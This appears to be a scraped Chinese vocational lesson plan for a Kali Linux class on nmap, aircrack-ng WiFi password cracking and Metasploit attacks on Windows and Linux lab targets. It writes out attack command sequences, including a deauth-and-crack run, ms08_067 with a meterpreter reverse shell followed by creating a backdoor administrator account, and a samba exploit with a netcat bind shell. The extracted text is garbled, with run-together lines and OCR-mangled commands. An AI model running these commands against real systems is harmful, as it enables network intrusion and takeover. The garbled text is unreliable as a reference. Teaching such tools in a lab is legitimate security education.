还剩3页未读,继续阅读
文本内容:
授课章节任务十五KALI操作系统的配置和使用(4课时)
1.KALI服务器的安全工具使用教学目标
2.掌握KALI服务器的安全工具使用
1.学习NMAP安全工具
2.学习aircrack安全工具破解wifi密码教学内容
3.学习安全漏洞检测工具攻击windows XP、windows
20034.使用安全漏洞检测工具攻击LINUX、windows
71.学习NMAP安全工具
2.学习aircrack安全工具破解wifi密码重点难点
3.学习安全漏洞检测工具攻击windows XP攻击windows
20034.使用安全漏洞检测工具攻击LINUX靶机攻击windows
71.采用“项目引导”、“任务驱动”教学方法,并以实践操作演不进行讲解教学方法
2.在课堂上注意讲、学、做相结合,注重“问题引导”学生互动,充分调动学生的积极性,培养学习兴趣、分析问题和解决问题的能力以及自学能力教学环境准备
1.“教、学、做一体化学生机房,教师机需要连接投影仪或者安装同屏教学软件;
2.学生一人一机、可将学生每4-6人分为一组;课前准备
3.机房电脑操作系统安装好VMWare Workstation
14.
0.需要CentOS
7.4镜像学生预习要求
1.阅读纸质教材,查阅与本章节相关资料;
2.在教学平台上学习教材电子版和课件师生活动二次备课
一、复习提问
1.如何检查服务器的系统基本信息
2.如何文件及目录权限、进程管理
二、导入新课
1.无线网络检测无线网络不需要受到网线接入的位置限制,操作起来方便快捷,但是其所存在的安全问题也日益突出,已经威胁到无线网络的正常运行存在的主要安全问题有无线网络盗用、窃听网络通信、钓鱼攻击无线网络、控制用户的无线AP等无线网络安全问题的应对措施有限制无线网络的接入、隐藏SSID、选择合适的安全标准、修改无线路由器的密码、降低无线AP的功率等
2.渗透测试软件检测操作系统安全教学过程
三、讲授新课
1.任务描述某单位在网络安全检查中,需要使用KALI操作系统,用于网络安全检测及调查取证系统管理员在使用KALI过程中,需要使用安全漏洞检测工具以及无线安全工具检验密码强度及系统的强壮性
2.决策指导Kali Linux预装了许多渗透测试软件,包括nmapWireshark、Johnthe Ripper,以及Aircrack-ng等用户可通过硬盘、live CD或live USB方式来运行它既有32位和64位的镜像,用于x86指令集又有基于ARM架构、树莓派和三星的ARM Chromebook的镜像集成超过300个渗透测试软件,给用户提供了大量的安全工具
3.安装配置命令知识要
1.学习NMAP安全工具点nmap-p80一一script=http-enum.nse
192.
168.
1.
22.学习aircrack安全工具破解wifi密码airmon-ng startwlanOairodump-ng wlanOmonairodump-ng-c10--bssid00:27:19:4C:3F:6C-w90AB.capwlanOmonaireplay-ng-020-a00:27:19:4C:3F:6C-c7C:B2:32:IF:A9:0EwlanOmonairmon-ng stopwlanOmonaircrack-ng-a2-b00:27:19:4C:3F:6C-w/usr/share/wordlist/rockyou.txt3F6C.cap
3.学习安全漏洞检测工具攻击windows XP、windows2003Msfconfsolenmap一一script=smb-check-vulns一一script-args=unsafe=l
192.
168.
1.2use exploit/windows/smb/ms08067_netapiset payloadwindows/meterpreter/reversetcpshow optionsexploitnetuser hacker123456/addnet localgroupadministrator hacker/add
4.使用安全漏洞检测工具攻击LINUX、windows7search sambause exploit/multi/samba/usermap_scriptShow payloadsSetpayload cmd/unix/bind_netcatShow optionssetRHOST
192.
168.
1.107exploituseexploit/windows/browser/msl0_046_shortcut_icon_dllloader
4.任务实施过程一学习NMAP安全工具
5.任务实施过程二学习aircrack安全工具破解wifi密码
6.任务实施过程三学习安全漏洞检测工具、攻击windows XP攻击windows2003任务实施过程四使用安全漏洞检测工具、攻击LINUX靶机攻击windows7Nmap
7.常用参数
8.参数说明-sP ping扫描,Nmap在扫描端口时,默认都会使用ping扫描-sL简单列表扫描-sn使用PING主机方式-sV监测端口服务版本操作系统信息主机名等-sS半开扫描-sT TCP方式扫描,会在目标主机的日志中记录大批连接请求和错误信息-sU UDP扫描,UDP扫描是不可靠的-sA这项高级的扫描方法通常用来穿过防火墙的规则集-sF-sN秘密FIN数据包扫描、Xmas Tree、Null扫描模式-sC脚本扫描-A全面系统检测、启用脚本检测、扫描等-0启用远程操作系统检测,但可能存在误报-V-v-v显示扫描过程,推荐使用-PN扫描之前不使用ping命令-p指定端口,如“1-
65535、
1433、
135、
22、
80、3389”等-h帮助文档-T4针对TCP端口禁止动态扫描延迟超过10ms设置时间模板-iL读取主机列表,-iL D:\iplist.txt”-oN-oX-oG将报告写入文件,分别是正常、XML、grepable三种格式-traceroute路由跟踪扫描一一script按照脚本分类进行扫描-6开启IPv6扫描
9.本小节用到的命令useexploit/windows/browser/msl0_046_shortcut_icon_dllloaderset payloadwindows/meterpreter/reverse_tcpset RIIOST
10.
10.
10.136set LHOST
10.
10.
10.137
四、课堂练习
1.开启SSH学习crunch密码工具
2.学习aircrack安全工具
3.使用NMAP工具
4.学习aircrack安全工具
5.破解wifi密码
6.学习安全漏洞检测工具
7.攻击windows XP攻击windows
20038.攻击LINUX靶机攻击windows7学生活动观看教师演示、边学边做、思考、讨论、完成任务实践
五、课堂小结
1.总结本课学习内容__________
2.总结、评价学生小组活动情况________________________________________________________
1.完成课后巩固练习题;布置作业
2.上交书面作业或者在教学平台上完成电子文档上传;___________
3.观看下一任务的微课或者项目实录视频L学习NMAP安全工具标书专、+
2.学习aircrack安全工具破解wifi密码以,
3.学习安全漏洞检测工具攻击windows XPwindows
20034.使用安全漏洞检测工具攻击LINUX、windows7通过学生互动活动,有利于学生自主学习与合作交流一能加深对识别法的认识,有助对教学内容的巩固;二利用这一互动活动,一一一及时反馈信息,有利于教师调整教学策略,优化教学方法,提高教学质量教后反思学生完成教学任务评价表评价指标及评价内容★★★★★★评价方式基本操作20分部署KALI操作系统教师评价开启SSH学习crunch密码工具学习aircrack安全工具动手做20分(重现)自我评价使用NMAP工具学习aircrack安全工具动手做20分(重构)小组评价破解wifi密码学习安全漏洞检测工具动手做20分(迁移)小组评价攻击windows XP攻击windows2003拓展20分攻击LINUX靶机攻击windows7教师评价综合评价得分★★★为全部完成、★★为基本完成、★部分未完成。
个人认证
优秀文档
获得点赞 0